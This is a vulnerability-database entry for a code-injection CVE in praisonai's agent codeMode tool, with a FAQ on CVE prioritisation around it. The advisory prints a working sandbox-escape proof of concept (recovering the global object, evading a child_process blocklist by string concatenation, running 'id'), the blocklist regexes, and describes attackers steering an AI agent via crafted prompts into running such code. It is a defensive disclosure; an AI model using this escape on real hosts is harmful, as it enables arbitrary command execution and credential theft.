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CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

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375,699

Total vulnerabilities in the database

CVE-2026-57141 — praisonai

Improper Control of Generation of Code ('Code Injection')

Summary

The codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts uses new Function() with a with(sandbox) pattern to execute LLM-generated code. The blocklist-based "sandbox" can be trivially bypassed via Function('return this')() to recover the global object, followed by global.require() with string concatenation to evade the blocklist regex. This allows full arbitrary code execution on the host system. This affects all deployments where the code-mode tool is enabled for agents.

Details

Vulnerable code (lines 187–191):

const fn = new Function(
  &#039;sandbox&#039;,
  `with (sandbox) { ${code} }`
);
const result = fn(sandbox);

The code parameter comes from LLM tool call arguments (the execute method at line 104). Before execution, a regex-based blocklist is applied (lines 108–136):

const blockedPatterns = [
  /require\s*\(\s*[&#039;&quot;]child_process[&#039;&quot;]\s*\)/,
  /require\s*\(\s*[&#039;&quot;]fs[&#039;&quot;]\s*\)/,
  /import\s+.*from\s+[&#039;&quot;]child_process[&#039;&quot;]/,
  /process\.exit/,
  /eval\s*\(/,
];

Three fundamental weaknesses:

with(sandbox) does not provide isolation. The with statement in JavaScript adds an object to the scope chain but does NOT prevent accessing the global object. The sandbox object sets process: undefined and require: undefined, but these are recovered via the global scope:
const g = Function('return this')(); g.require('child_' + 'process')
Blocklist evasion via string concatenation. The regex /require\s*\(\s*['"]child_process['"]\s*\)/ requires the literal string 'child_process' or "child_process" inside require(). Using require('child_' + 'process') bypasses this because the regex sees a variable concatenation, not a literal string.
Function('return this')() is not blocked. None of the blocklist patterns match Function(, return this, or global.require.

PoC

Setup: Clean checkout at commit d5f1114a, Node.js v20.20.0 (tested environment).

Positive trigger — full RCE with sandbox escape (OBSERVED OUTPUT):

// This code bypasses ALL blocklist patterns and achieves RCE:
const code = `
const Func = (function(){}).constructor;
const proc = Func(&#039;return process&#039;)();
console.log(&#039;process.version:&#039;, proc.version);
const g = Function(&#039;return this&#039;)();
const mod = &#039;child_&#039; + &#039;process&#039;;
const cp = g.require(mod);
console.log(&#039;RCE:&#039;, cp.execSync(&#039;id&#039;).toString().trim());
`;

Observed output (executed in this environment):

OUT: process.version: v20.20.0
OUT: RCE: uid=1000(sondt23) gid=1000(sondt23) groups=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),983(docker),984(ollama)

The escape was confirmed by executing the exact code-mode sandbox pattern (new Function('sandbox', 'with (sandbox) { ... }')) with the blocklist applied first. ALL blocklist patterns were bypassed, and the id command returned the real system user ID.

Negative control — blocklist correctly catches direct require:

const code = `require(&#039;child_process&#039;)`;
// Returns: &quot;Blocked pattern detected: require\s*\(\s*[&#039;&quot;]child_process[&#039;&quot;]\s*\)&quot;

Negative control — blocklist correctly catches eval:

const code = `eval(&#039;process&#039;)`;
// Returns: &quot;Blocked pattern detected: eval\s*\(&quot;

Cleanup: No persistence needed; the code runs in-process.

Impact

An attacker who can influence the code parameter of the codeMode tool (via crafted prompts to an AI agent using praisonai-ts) achieves full arbitrary code execution on the host system. This includes:

Read/write any file accessible to the process user
Execute arbitrary system commands via child_process
Exfiltrate environment variables containing API keys, tokens, and credentials
Install persistent backdoors by writing to startup files
Move laterally in containerized environments

Suggested remediation

The with(sandbox) + blocklist pattern is fundamentally insecure and cannot be fixed with regex improvements. Replace it with:

Use vm module with proper context isolation:

import { createContext, runInContext } from &#039;vm&#039;;
const sandbox = createContext({ /* safe globals only */ });
runInContext(code, sandbox, { timeout: 5000 });

Or use isolated-vm for true process-level isolation with separate V8 isolates.
Or run code in a subprocess (like the Python _execute_code_sandboxed pattern already used in python_tools.py) with a clean environment and resource limits.
If a blocklist approach must be retained, add patterns for:
- Function( / new Function
- constructor / __proto__ / prototype
- return this / return global
- global / globalThis / window But note: blocklist approaches are inherently fragile and will continue to have bypasses.

Published: Jun 18, 2026
Updated: Jul 21, 2026
CVE: CVE-2026-57141
GHSA: GHSA-p69m-4f92-2v84
Severity: Critical
Exploit:
CISA KEV:

CVSS v3:

Severity: Critical
Score: 9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWEs:

CWE-94

Affected Software
References

Software	From	Fixed in
praisonai	-	1.7.2

https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-p69m-4f92-2v84

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.